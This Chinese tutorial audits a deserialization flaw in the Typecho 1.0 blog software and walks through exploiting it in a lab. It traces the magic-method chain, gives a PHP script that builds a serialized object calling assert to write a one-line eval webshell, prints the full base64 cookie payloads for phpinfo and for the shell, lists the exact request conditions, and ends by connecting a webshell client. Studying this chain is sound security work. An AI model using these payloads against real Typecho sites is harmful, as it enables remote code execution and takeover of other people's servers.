文章目录
- 概述
- 资源下载地址
- Typecho代码审计-漏洞原理
- call_user_func()
- `_applyFilter()`、get()与__get`
- __toString()
- `__construct()`
- install.php
- POC利用
- 漏洞利用复现
- 利用链
- 执行phpinfo()
- GET利用
- POST利用
- getshell
- 生成payload
- 漏洞利用
- 蚁剑连接
- 总结
概述
序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。
本篇文章将借助Typechov1.0(14.10.10)环境进行代码审计,最终完成对Typecho的利用与getshell。
Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。
2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。
经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。
资源下载地址
链接:https://pan.baidu.com/s/1S9v2y9NvvUG0KSSPkDG7Mg?pwd=yuan
具体的typechov1.0(14.10.10)靶场环境安装教程这里不再赘述,网上教程很多。
Typecho代码审计-漏洞原理
参考文章:https://www.cnblogs.com/litlife/p/10798061.html
call_user_func()
经过对Typecho的代码审计,在Typecho_Request类中可以发现一个危险函数call_user_func
这个函数是回调函数,里面可以传两个参数,第1个参数表示要调用的函数,第2个参数表示要传给要调用的函数的参数,假设我们传的第1个参数是assert,第2个参数是一个这样的字符串"fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')"
,就相当于我们执行了这个命令:
assert(fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>'));
这个命令意思就是我们创建并打开一个shell.php文件,并且把<?php phpinfo();@eval(\$_REQUEST[777])?>
写入文件。相当于我们写了一个一句话木马文件到目标服务器,从而getshell。
_applyFilter()
、get()与__get`
基于对以上危险函数的分析,我们开始寻找利用点
要想完成以上危险函数的利用,就需要确保传入的两个参数是可控的,$filter
属于Typecho_Request类的属性,是可以在创建对象的时候控制的,$value
是_applyFilter
函数的参数,所以我们要查找一下哪里调用了_applyFilter函数,于是往上面分析。
经过查找,我们可以在这个Typecho_Request类中看到get()函数里调用了_applyFilter()函数
在这个get()函数中,调用了_applyFilter
函数,并且传了参数$value
,其中$value
是可控的,因为他其实就是当前类的_params数组的一个键为$key
的值,所以我们下一步要做的就是控制_params数组的$key
,于是我们继续往上找,看看是谁调用了这个get()函数。
经过查找可以发现,__get()
函数调用了get()函数,__get()
函数是非常特殊的一个函数,叫做魔法函数,当调用一个对象的私有属性的时候,就会默认调用这个魔法函数。因此我们需要找一个地方,看看哪里会用到对象的属性。
__toString()
经过查找,发现在Typecho_Feed类中的这个地方调用了_items数组对象的screenName属性,恰好_items
数组是可控的,所以这里可以利用
当我们访问_items
数组中的author对应的对象的私有属性screenName的时候,会默认调用这个对象的__get()魔法函数,为了调用上面分析的__get()
函数,我们把_items
中author对应的对象设置为Typecho_Request对象即可,而且Typecho_Request类中没有screenName属性,也会默认调用Typecho_Request类的__get()
函数
在上一步分析中,我们要知道我们分析的代码是在哪个函数中:
如图,是在Typecho_Feed类的__toString()
函数中,这也是一个魔法函数,当一个对象与一个字符串进行拼接的时候,这个__toString()
函数会被自动调用,所以接下来我们需要看看哪个对象具备和字符串拼接的操作。
__construct()
经过查找,在Typecho_Db类中发现他的构造函数具有一个可控参数与字符串进行拼接
所以可以控制这个参数为一个对象,这个对象就是Typecho_Feed对象,当Typecho_Feed对象与字符串拼接的时候,就会调用这个Typecho_Feed对象的魔法函数__toString()
。又因为这个__construct()是默认构造函数,默认构造函数在创建对象的时候会自动调用,所以需要往上分析,看看什么地方具有new这个Typecho_Db对象的条件。
install.php
经过查找,可以在install.php中发现以下代码:
这个代码就new了一个Typecho_Db对象,可以默认调用这个对象的默认构造函数。
根据以上代码分析可知,我们可以控制cookie的__typecho_config
键的值,然后反序列化成为一个$config
对象,所以$config
对象是可控的,在对这个对象的构造完成之后,我们可以序列化这个对象,形成POC,在入口点将POC传入,即可形成利用链。
POC利用
typecho_1.0(14.10.10)_unserialize_fputs.php
<?php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>
漏洞利用复现
利用链
反序列化 --> __construct() --> toString() --> __get()
--> _applyFilter()
--> call_user_func()
执行phpinfo()
生成恶意序列化数据:
使用提供的typecho_1.0(14.10.10)_unserialize_phpinfo.php
文件生成payload,如图:
GET利用
条件
- php版本5.4.45
- 具有序列化漏洞的php是install.php
- 序列化数据放在cookie中,key为
__typecho_config
- 需要Referer头:
http://10.9.75.168
- url中需要参数finish
序列化数据放在cookie中,并且需要Referer校验
/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
这里使用的是hackbar:
也可以用BurpSuit修改请求包:
POST利用
条件
- php版本5.4.45
- 具有序列化漏洞的php是install.php
- 序列化数据放在cookie中或者body中,key为
__typecho_config
- 与是否携带Referer头无关
/install.php?finish
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
getshell
生成payload
生成恶意序列化数据:
使用提供的typecho_1.0(14.10.10)_unserialize_fputs.php
文件生成payload,如图:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
特别注意:这里有个奇怪的bug,在上面的代码中,如果创建的php文件的文件名是一个字符,将无法写入,比如a.php,一个字符以上才可以写入,比如1e.php就可以写入,当然我上面的文件名是shell.php,是没有问题的
漏洞利用
蚁剑连接
总结
PHP反序列化漏洞主要就是借助魔法函数的自动调用特性,再结合程序中出现的危险函数,形成利用链。在本篇文章中,Typecho反序列化漏洞的利用链就是:反序列化 --> __construct() --> __toString()
--> __get()
--> _applyFilter()
--> call_user_func()。
其中可以看到多处地方调用了魔法函数,最终调用到了危险函数call_user_func()
完成利用,至于如何构造对象,就需要分析要形成这条利用链的一些条件了,通常都是根据if else语句
来制造利用条件的,比如install.php
的入口处:
由以上代码我们可以知道,在发起请求包的时候我们要注意传url参数与referer头,否则无法执行到我们的反序列化入口,导致无法形成利用链
因此,要想借助反序列化漏洞形成利用链,首先就需要对这门语言属性,属性这门语言的危险函数,找到危险函数之后进行反推,往上查找调用链,如果最后可以找到反序列化入口,就可以形成利用链。